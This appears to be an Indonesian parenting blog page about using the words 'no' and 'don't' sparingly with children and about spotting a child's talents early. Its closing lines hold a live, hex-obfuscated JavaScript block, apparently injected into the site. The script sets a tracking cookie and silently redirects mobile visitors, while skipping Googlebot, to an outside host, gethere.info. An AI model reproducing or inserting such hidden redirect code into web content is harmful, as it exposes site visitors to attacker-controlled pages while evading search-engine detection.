Ada pertanyaan yang masih mengganjal pada benak saya, lalu untuk apa keberadaan kata-kata “tidak boleh, dilarang, jangan” di dalam bahasa kita jika pada akhirnya kita tidak diperkenankan untuk menggunakannya? Astaghfirullah, saya telah salah memahami bahwa menghindari kata-kata “jangan, tidak boleh, dilarang” tidak berarti meniadakannya dalam kehidupan kita. Justru dengan bersikap hati-hati dan menempatkannya hanya pada peristiwa-peristiwa yang darurat dan sangat urgen, maka kita telah mengajari anak untuk membedakan   mana yang sangat penting, penting dan tidak penting. Saat anak kita sedang bermain stop contact listrik, maka inilah saatnya kita berkata tidak. Saat anak melakukan hal yang jelas-jelas melanggar syariat, maka inilah waktunya mengatakan dilarang.

Tampaknya kita harus menyadari betapa seringnya kita mengatakan “jangan, tidak, dilarang” pada peristiwa-peristiwa yang sebenarnya tidak terlalu darurat dan urgen untuk mengatakannya. Sehingga anak-anak kita merasa bingung manakah hal-hal yang penting yang wajib aku tinggalkan, manakah hal-hal yang perlu aku jauhi, dan manakah hal-hal yang bisa aku hindari. semoga penjelasan diatas menyudahi Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak.

Medeteksi Bakat Anak Sejak Dini

Oleh : Ani Ch, penulis buku &amp; pemerhati pendidikan keluarga

Pernah nonton film Garuda di Dadaku? Film tersebut cukup asyik untuk ditonton, motivasi untuk para orang tua agar mendukung bakat anaknya.

Bayu suka sepak bola. Bola adalah ‘<em>passion</em>’nya. Tapi sang kakek tidak melihat bola sebagai masa depannya. Si Kakek ngotot memasukkan Bayu di tempat kursus matematika dan juga dipaksa ke sanggar lukis. Matematika mudah buat Bayu, tetapi melukis sama sekali bukan bakatnya. Lalu berbgai macam cerita dramatis terjadi yg berujung pengakuan kakek akan bakat bola Bayu, dan akhirnya Si Kakek akhirnya mendukungnya karena sebenarnya sudah jelas tanda-tanda bakat Si Bayu.

Nah, buat ayah atau bunda yang merasa pasangannya kurang mendukung bakat si anak, cobalah nonton film ini.

Beberapa orangtua bertanya, lalu bagaimana kita bisa yakin kalo itu bakat anak? Dalam kasus Bayu di atas bisa aja Bayu cuma pengen bermainnya, untuk menghindari matematika yg berat pdahal hasil psikotes menunjukkan bakat logis matematisnya bgtu tinggi, atau malah orang tua nggak bisa meliat mana bakat anaknya, karena tiap hari isinya kok malas.

Berikut ini bebrapa poin untuk mengenali dan Medeteksi Bakat Anak Sejak Dini dari Prof.Dr. Utami Munandar.

Anak kita akan menunjukkan bakat tertentu jika
<ul>
<li>Anak tidak merasa terpaksa. Anak sangat senang melakukannya dan ada rasa bahagia terpancar. Misal, matanya berbinar-binar jika berbicara soal hal yang dilakukannya</li>
<li>Anak mampu berkonsentrasi &amp; cenderung tekun melakukannya. Anak yg bakat nge dance bisa berjam-jam menari tanpa merasa lelah</li>
<li>Anak punya rasa ingin tahu yang besar. Misal, anak bisa berjam-jam baca majalah tentang pesawat, bisa jadi dia bakat aerodinamika</li>
<li>Anak nampak mahir terhadap hal tersebut walaupun belum mendapatkan pelajaran khusus. Bayu di film Garuda di Dadaku adalah contohnya, sangat lihai menggiring bola</li>
<li>Setelah diberi pelajaran khusus, anak dapat dengan mudah menguasai</li>
</ul>
Namun jika anak malas beraktivitas, seperti tidak memiliki bakat bagaimana?

Tidak ada anak tidak berbakat, itu hanya belum nampak saja, jika kondisinya seperti itu, maka orang tua tidak perlu meluncurkan program pengembangan bakat seriuslah dulu membenahi sikap,kemandirian dan tanggung jawab anak dalam aktivitas hariannya dengan. Dengan mengurus hal tersebut, motivasi akan terbangun dan bakat baru bisa digali.

Lalu apa yang perlu dilakukan ortu untuk mengasah bakat dan Medeteksi Bakat Anak Sejak Dini?
<ul>
<li>Memberi motivasi agar anak percaya diri</li>
<li>Memberi wawasan yg luas</li>
<li>Memfasilitasi latihan bakat</li>
<li>Menyediakan sarana penunjang pengembangan bakat</li>
<li>Membangun kerja sama dg sekolah atau pihak lain</li>
<li>Mengenalkan pada tokoh sukses di bidang tersebut</li>
</ul>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>